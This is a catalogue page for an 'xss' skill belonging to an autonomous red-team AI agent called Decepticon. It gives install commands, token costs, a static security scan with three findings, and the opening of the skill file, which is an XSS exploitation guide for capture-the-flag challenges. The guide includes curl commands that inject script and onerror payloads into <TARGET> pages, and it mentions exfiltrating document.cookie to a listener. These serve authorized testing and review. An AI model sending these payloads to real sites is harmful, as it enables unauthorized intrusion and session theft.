Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill xssgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/xss)<a href="https://agentmods.dev/skills/purpleailab/decepticon/xss"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/xss.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Supply Chain · line 211 Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.Fix: Avoid downloading and executing remote scripts. Use trusted packages from PyPI/npm. If remote fetch is required, verify checksums and use HTTPS.
- medium Data Exfiltration · line 49 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- medium Data Exfiltration · line 97 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00073 | $0.04227 |
| Opus 5 | $0.00036 | $0.02114 |
| Sonnet 5 | $0.00015 | $0.00845 |
| Haiku 4.5 | $0.00007 | $0.00423 |
Grade B, and why
xss scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -sg "$TARGET/page?name=$(cat /tmp/payload.txt | python3 -c 'import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))')" | grep -i "new_umbrella\|success\|alert\|xss" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross) Copies of this mod
1 near-identical copy found in the catalogue:
- xss — 88% identical, 45 lines differ
How it starts
The opening of the file, as written. The whole thing — 302 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cross-Site Scripting (XSS) Exploitation
Exploits insufficient input/output sanitization to execute JavaScript in a victim's browser context.
Win Condition — Identify FIRST
Pattern A — Bot/Cookie Chain (classic CTF):
- A headless browser bot visits a URL you supply via
/reportor/contact - Goal: exfiltrate
document.cookieor admin page content to your listener - Signals:
/reportendpoint exists, challenge mentions "admin visits", cookie in session
Pattern B — Server-Side Alert Trigger (Cross 30/31/32 series):
- NO bot, NO cookie exfiltration, NO
/reportendpoint (returns 404) - The challenge evaluates reflected JS server-side;
alert("XSS")oralert(1)in the response = flag - Flag appears directly in the HTTP response body when alert triggers
- Signals: challenge name contains "Cross", filter says "Sorry, you can't use that tag",
new_umbrella/error_umbrellain response, alphanumeric filter active - Do NOT: start listeners, look for /report, try document.cookie (setter is frozen — TypeError)
Quick check which pattern:
curl -s "$TARGET/report" -o /dev/null -w "%{http_code}" # 404 = Pattern B (Cross)
curl -s "$TARGET/" | grep -i "report\|bot\|admin" # Pattern A signals
Detection
# Reflected XSS probe — check if input is reflected unescaped
curl -s 'http://<TARGET>/search?q=<script>alert(1)</script>' | grep -i '<script>alert(1)'
# Check for reflection in different contexts
curl -s 'http://<TARGET>/search?q=xss"test' | grep 'xss"test' # attribute context
curl -s 'http://<TARGET>/search?q=xss'"'"'test' | grep "xss'test" # JS string context
# Test attribute injection
curl -s 'http://<TARGET>/page?name=test"onmouseover="alert(1)' | grep 'onmouseover'
# Test common input fields via POST
curl -s 'http://<TARGET>/comment' -d 'body=<img src=x onerror=alert(1)>'
curl -s 'http://<TARGET>/register' -d 'username=<script>alert(1)</script>&password=test'
Stored XSS with Bot Exfiltration (CTF Pattern)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 302 lines · 73 tokens per session scan B bfe73052bc57
xss is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,452 stars, last pushed 8d ago), licensed Apache-2.0. It adds 73 tokens to every session and 4,227 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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